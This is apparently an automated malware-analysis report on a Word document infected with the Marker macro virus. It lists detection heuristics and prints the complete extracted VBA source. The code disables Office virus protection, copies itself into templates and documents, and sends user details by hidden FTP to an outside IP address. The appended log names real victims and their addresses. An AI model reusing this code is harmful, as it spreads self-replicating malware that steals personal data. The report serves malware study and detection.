MALICIOUS
260
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1140 Deobfuscate or Obfuscate Malicious Files or Information
T1027 Obfuscated Files or Information
The sample contains VBA macros that disable macro security settings and attempt to download a second-stage payload. The macro code explicitly disables 'VirusProtection' and writes a file to 'c:\hsf*.sys' which is then uploaded via FTP to '209.201.88.110'. The document body presents a quiz about Judaism to lure the user into enabling macros.
Heuristics 4
-
ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Marker-31
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide -
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
'Switch the VirusProtection OFF Options.VirusProtection = False
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5927 bytes |
SHA-256: 915f44dca9061030b5a99c9ab3ec5d301e0364401b978bd8c8895441d1b6a060 |
|||
|
Detection
ClamAV:
Doc.Trojan.Marker-3
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
Const Marker = "<- this is a marker!"
'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String
'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)
'Switch the VirusProtection OFF
Options.VirusProtection = False
If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
If DocumentInfected = True Then
LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
ElseIf NormalTemplateInfected = True Then
LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
End If
LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
For I = 1 To 4
LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
Next I
LogFile = "C:\hsf" & LogFile & ".sys"
Open LogFile For Output As #1
Print #1, LogData
Close #1
Open "c:\netldx.vxd" For Output As #1
Print #1, "o 209.201.88.110"
Print #1, "user anonymous"
Print #1, "pass itsme@"
Print #1, "cd incoming"
Print #1, "ascii"
Print #1, "put " & LogFile
Print #1, "quit"
Close #1
Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
End If
'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
(ActiveDocument.SaveFormat = wdFormatDocument Or _
ActiveDocument.SaveFormat = wdFormatTemplate) Then
'Infect the NormalTemplate
If DocumentInfected = True Then
SaveNormalTemplate = NormalTemplate.Saved
OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
'Write a log file of this NormalTemplate infection
For I = 1 To Len(Application.UserAddress)
If Mid(Application.UserAddress, I, 1) <> Chr(13) Then
If Mid(Application.UserAddress, I, 1) <> Chr(10) Then
UserAddress = UserAddress & Mid(Application.UserAddress, I, 1)
End If
Else
UserAddress = UserAddress & Chr(13) & "' "
End If
Next I
OurCode = OurCode & Chr(13) & _
"' " & Format(Time, "hh:mm:ss AMPM - ") & _
Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
"' " & Application.UserName & Chr(13) & _
"' " & UserAddress & Chr(13)
nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
nt.CodeModule.AddFromString OurCode
If SaveNormalTemplate = True Then NormalTemplate.Save
End If
'Infect the ActiveDocument
If NormalTemplateInfected = True And _
(Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
ActiveDocument.Saved = False) Then
SaveDocument = ActiveDocument.Saved
OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
ad.CodeModule.AddFromString OurCode
If SaveDocument = True Then ActiveDocument.Save
End If
End If
End Sub
' Logfile -->
' 09:08:36 - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'
' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'
' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'
' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'
' 11:16:41 AM - Wednesday, 23 Dec 1998
' BCBSA
'
' 01:30:35 PM - Wednesday, 30 Dec 1998
' BCBSA
'
' 01:36:45 PM - Monday, 4 Jan 1999
' Sue Rosinski
'
' 03:03:59 PM - Tuesday, 5 Jan 1999
' BCBSA
'
' 07:47:25 AM - Monday, 18 Jan 1999
' SC Group Inc.
'
' 10:30:59 AM - Wednesday, 20 Jan 1999
' David Novick
' David T. Novick, Esq.
' 1838 N. Halsted
' Chicago, IL 60614
' 11:07:20 AM - Tuesday, 26 Jan 1999
' SCGroup
' C. Robert Heaton
' 7 West County Line Road
' Barrington, IL 60010
' 02:05:44 PM - Monday, 1 Feb 1999
' Right Management Consultants
' R. Noble
' 909 Dolores Street
' San Francisco, CA 94110
' 04:02:55 PM - Friday, 5 Feb 1999
' Pat Smith
'
' 01:14:33 PM - Monday, 15 Feb 1999
' Kinko's
' 43734 Palisades Drive
' Canton MI 48187
' 07:45:50 AM - Tuesday, 16 Feb 1999
' Kinko's
'
' 10:53:40 - mercredi, 17 févr 1999
' Russell R. Bush
'
' 12:09:54 PM - Tuesday, 20 Apr 1999
' Edwin Tonkin
'
' 06:02:56 PM - Wednesday, 21 Apr 1999
' Articulation
'
' 11:32:47 PM - Tuesday, 4 May 1999
' Shiri Li-Ron
'
' 10:13:11 AM - Thursday, 20 May 1999
' Kinko's
'
' 01:58:27 PM - Wednesday, 6 Oct 1999
' Sandi
'
' 04:18:07 PM - Saturday, 13 Nov 1999
' Sandi
'
' 01:29:32 PM - Wednesday, 17 Nov 1999
' Sandi
'
' 11:38:59 AM - Thursday, 18 Nov 1999
' 166
'
' 10:01:01 AM - Thursday, 17 Feb 2000
' 166
'
' 01:40:23 PM - Tuesday, 22 Feb 2000
' 166
'
' 09:07:54 AM - Thursday, 1 Jun 2000
' P5 233MMX
'
' 02:52:10 PM - Tuesday, 6 Jun 2000
' b40jr
'
' 08:35:01 AM - Tuesday, 7 Nov 2000
' Jackie Ghio
'
' 03:37:13 AM - Thursday, 7 Jan 1904
' Computer Wrangler
'
' 09:01:58 AM - Wednesday, 15 Sep 2004
' Computer Wrangler
' Mission Hill Middle School
'
' 02:01:44 PM - Wednesday, 4 May 2005
' d j
' {=\=}
'
' 09:34:08 PM - Wednesday, 13 Dec 2006
' Susana Herrera
'
' 06:05:28 PM - Friday, 16 Jan 1970
' kayla beckert
'
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.